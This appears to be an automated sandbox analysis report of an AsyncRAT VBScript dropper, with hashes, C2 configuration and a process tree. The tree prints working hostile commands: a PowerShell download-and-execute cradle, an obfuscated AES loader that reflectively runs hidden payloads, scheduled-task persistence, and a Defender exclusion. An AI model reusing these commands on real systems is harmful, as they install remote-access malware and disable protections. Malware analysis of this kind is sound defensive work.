Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 20:19

General

  • Target

    1821_output.vbs

  • Size

    61KB

  • MD5

    6943e4c37b93c2a81a98a81e36d2d5ce

  • SHA1

    ad2ba17165344f88b6bf0befaac528feb8a3280f

  • SHA256

    57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f

  • SHA512

    78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80

  • SSDEEP

    768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes
  • delay

    3

  • install

    false

  • install_file

    dwmm.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1384
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1796
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pa22i2pc\pa22i2pc.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2012
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES801D.tmp" "c:\Users\Admin\AppData\Local\Temp\pa22i2pc\CSC536817491DE243B2A36841F1EC1871AE.TMP"
            5⤵
              PID:3952
          • C:\windows\system32\cmstp.exe
            "C:\windows\system32\cmstp.exe" /au C:\windows\temp\m1qmln2n.inf
            4⤵
              PID:4488
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4264
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3808
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_17_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx17.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3888
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx17.vbs"
              4⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4404
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx17.bat" "
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3408
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx17.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5108
      • C:\Windows\system32\taskkill.exe
        taskkill /IM cmstp.exe /F
        1⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2580

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        440cb38dbee06645cc8b74d51f6e5f71

        SHA1

        d7e61da91dc4502e9ae83281b88c1e48584edb7c

        SHA256

        8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

        SHA512

        3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        9751fcb3d8dc82d33d50eebe53abe314

        SHA1

        7a680212700a5d9f3ca67c81e0e243834387c20c

        SHA256

        ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

        SHA512

        54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        8b5168e897e303fea69d8cf51a68b044

        SHA1

        4dc5394ca43ab27a98ee323a988e35668c32f6fb

        SHA256

        5af2eabd81ab677ebfe13fd006f8c71ee25ae798d6090f7b1f97742a4dedc778

        SHA512

        52b1feebff16f9b839d517b00f17e21f85e5792724966cc321bd7474322061cf81f73df62d5475c0d7dab90b1df00dedfd77d776751db025f347e17804c135c2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        bf0eda50972f08c8b9d8c9cb5ce7d0c2

        SHA1

        2d8fb14d729b8afe30b4dd3d83d9dfa50afd5dab

        SHA256

        58507df56c947895b91930c001aa1e917c7bd33cf813ec203487735195c545e1

        SHA512

        4acafe573b1ef9063ef434e44f72ba3e69d8b39834c13a11fc3c240cacfae71e45634829e31c1669ce842e2f7de0b11a4076142bcd3f185d6db5c67bbd64c2fb

      • C:\Users\Admin\AppData\Local\Temp\RES801D.tmp

        Filesize

        1KB

        MD5

        7e2639624b71111f04156438c3761b55

        SHA1

        0919f58ec06fdad88d973287c390b4259290219b

        SHA256

        675d8b621551d2fa15ebe24da707b02ebb136d71f8764a0c3ade44c1ce2fa5af

        SHA512

        b61f7162d758b40412d1166c4db0ab1a7c2db81664c7833c66a1397331ad14a1b14119688b7e40b2a31ff8b1ea2658e2a0062c679087a2d77fa443a1d77e2eb0

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qwqj3qav.tl4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\c.bat

        Filesize

        53KB

        MD5

        5658af2134929280550a46a39d5d1254

        SHA1

        757ce11f87e3886b0320fca0bd6bf1f26968a25e

        SHA256

        942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

        SHA512

        e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

      • C:\Users\Admin\AppData\Local\Temp\pa22i2pc\pa22i2pc.dll

        Filesize

        4KB

        MD5

        4772a8f021adc0726c7e4c7f7fb1018d

        SHA1

        2d7a3831970473073a733745b3913fa7ab09e075

        SHA256

        5052a871f62ea3d69222e0c11c86226789ca5ff7ea5f2add9a795ca37e28ebaa

        SHA512

        5dc63b2b317c3b6a417f1cb3dd63099c40d743814508276c31a10c3886c2f8dd299b0fa13e7e150f85944de0216c5df4e3e5d343053c51183f0dd1e510190968

      • C:\Users\Admin\AppData\Roaming\latencyx17.vbs

        Filesize

        110B

        MD5

        e9aad89e424d9f592ba53cfb36df12eb

        SHA1

        34eb6dc756278982bfabb1cecb15f80407283397

        SHA256

        83d434fecffd481cfa36f29d8e2d9cfe1dedd8b5cc374660b4d94877326e0950

        SHA512

        8371c5999aff24ba716b6e3f91967950580ae36c46b2710e84bb747801064481bdbb6fc7cd288f538704a490b9d6a693a47851306db3cb43dd08c014b239ceb0

      • C:\windows\temp\m1qmln2n.inf

        Filesize

        683B

        MD5

        a4fd12b94ad4ac06fabd8dd56dd5ff2b

        SHA1

        940d129205e04ba31b10a72d7a7a236a9ed0488b

        SHA256

        fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

        SHA512

        a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

      • \??\c:\Users\Admin\AppData\Local\Temp\pa22i2pc\CSC536817491DE243B2A36841F1EC1871AE.TMP

        Filesize

        652B

        MD5

        a699b2c1029f06f583eb35431eb8ede8

        SHA1

        3fc8d7c4c1d8d2fe0a65fcd5cf52013c2eb3a6e3

        SHA256

        7d3ae08429d79b324573d920ec1031c3dac283a1276d18335a4615ab211f2877

        SHA512

        3a61de8f0a04a5c512ca58c8b4c3229f2bf074592e9c34adb912a01a41b304c1448086ebb180a7643b28600e3055d4b1d58faf91f8e7e7eaeb877ad96f3926db

      • \??\c:\Users\Admin\AppData\Local\Temp\pa22i2pc\pa22i2pc.0.cs

        Filesize

        2KB

        MD5

        897ac4306f2a2524bc3c441bd00c72b9

        SHA1

        1703dbf9a2a78491dfd6685540d4691839e33b69

        SHA256

        a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

        SHA512

        2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

      • \??\c:\Users\Admin\AppData\Local\Temp\pa22i2pc\pa22i2pc.cmdline

        Filesize

        369B

        MD5

        d3fcf646927ff5619ca84362dc589968

        SHA1

        62f3b94b59f1090f2d8f7733451289d0398b02ff

        SHA256

        2058265a7a957bec6318ca9ba21ffb49150e32ef3e0d229a6ce152655d2911c8

        SHA512

        67ff2390473c25de1f483177907aec69c353262cf57add15894ab153889fbb9b740de6a7f018feb3581e7a387839728fef23ce3004669610b31ab36faef84f7b

      • memory/1796-13-0x000001A9656A0000-0x000001A9656BC000-memory.dmp

        Filesize

        112KB

      • memory/1796-44-0x00007FFD8F050000-0x00007FFD8FB11000-memory.dmp

        Filesize

        10.8MB

      • memory/1796-43-0x00007FFD8F053000-0x00007FFD8F055000-memory.dmp

        Filesize

        8KB

      • memory/1796-26-0x000001A965710000-0x000001A965718000-memory.dmp

        Filesize

        32KB

      • memory/1796-48-0x00007FFD8F050000-0x00007FFD8FB11000-memory.dmp

        Filesize

        10.8MB

      • memory/1796-12-0x00007FFD8F050000-0x00007FFD8FB11000-memory.dmp

        Filesize

        10.8MB

      • memory/1796-11-0x00007FFD8F050000-0x00007FFD8FB11000-memory.dmp

        Filesize

        10.8MB

      • memory/1796-1-0x000001A963080000-0x000001A9630A2000-memory.dmp

        Filesize

        136KB

      • memory/1796-0-0x00007FFD8F053000-0x00007FFD8F055000-memory.dmp

        Filesize

        8KB

      • memory/2800-123-0x0000000007AA0000-0x0000000007AB2000-memory.dmp

        Filesize

        72KB

      • memory/3808-56-0x0000000004FC0000-0x0000000005026000-memory.dmp

        Filesize

        408KB

      • memory/3808-73-0x00000000063F0000-0x00000000063F8000-memory.dmp

        Filesize

        32KB

      • memory/3808-69-0x0000000005DD0000-0x0000000005DEE000-memory.dmp

        Filesize

        120KB

      • memory/3808-70-0x0000000005E20000-0x0000000005E6C000-memory.dmp

        Filesize

        304KB

      • memory/3808-71-0x0000000007650000-0x0000000007CCA000-memory.dmp

        Filesize

        6.5MB

      • memory/3808-72-0x00000000063C0000-0x00000000063DA000-memory.dmp

        Filesize

        104KB

      • memory/3808-74-0x00000000070A0000-0x000000000713C000-memory.dmp

        Filesize

        624KB

      • memory/3808-57-0x00000000056C0000-0x0000000005726000-memory.dmp

        Filesize

        408KB

      • memory/3808-75-0x00000000071C0000-0x00000000071CE000-memory.dmp

        Filesize

        56KB

      • memory/3808-76-0x0000000008280000-0x0000000008824000-memory.dmp

        Filesize

        5.6MB

      • memory/3808-53-0x0000000002500000-0x0000000002536000-memory.dmp

        Filesize

        216KB

      • memory/3808-67-0x00000000057B0000-0x0000000005B04000-memory.dmp

        Filesize

        3.3MB

      • memory/3808-54-0x0000000005090000-0x00000000056B8000-memory.dmp

        Filesize

        6.2MB

      • memory/3808-55-0x0000000004F10000-0x0000000004F32000-memory.dmp

        Filesize

        136KB

      • memory/3888-98-0x0000000006CD0000-0x0000000006CEE000-memory.dmp

        Filesize

        120KB

      • memory/3888-101-0x0000000007110000-0x00000000071A6000-memory.dmp

        Filesize

        600KB

      • memory/3888-102-0x0000000007090000-0x00000000070A1000-memory.dmp

        Filesize

        68KB

      • memory/3888-100-0x0000000006F00000-0x0000000006F0A000-memory.dmp

        Filesize

        40KB

      • memory/3888-99-0x0000000006D50000-0x0000000006DF3000-memory.dmp

        Filesize

        652KB

      • memory/3888-88-0x0000000070D30000-0x0000000070D7C000-memory.dmp

        Filesize

        304KB

      • memory/3888-87-0x0000000006D10000-0x0000000006D42000-memory.dmp

        Filesize

        200KB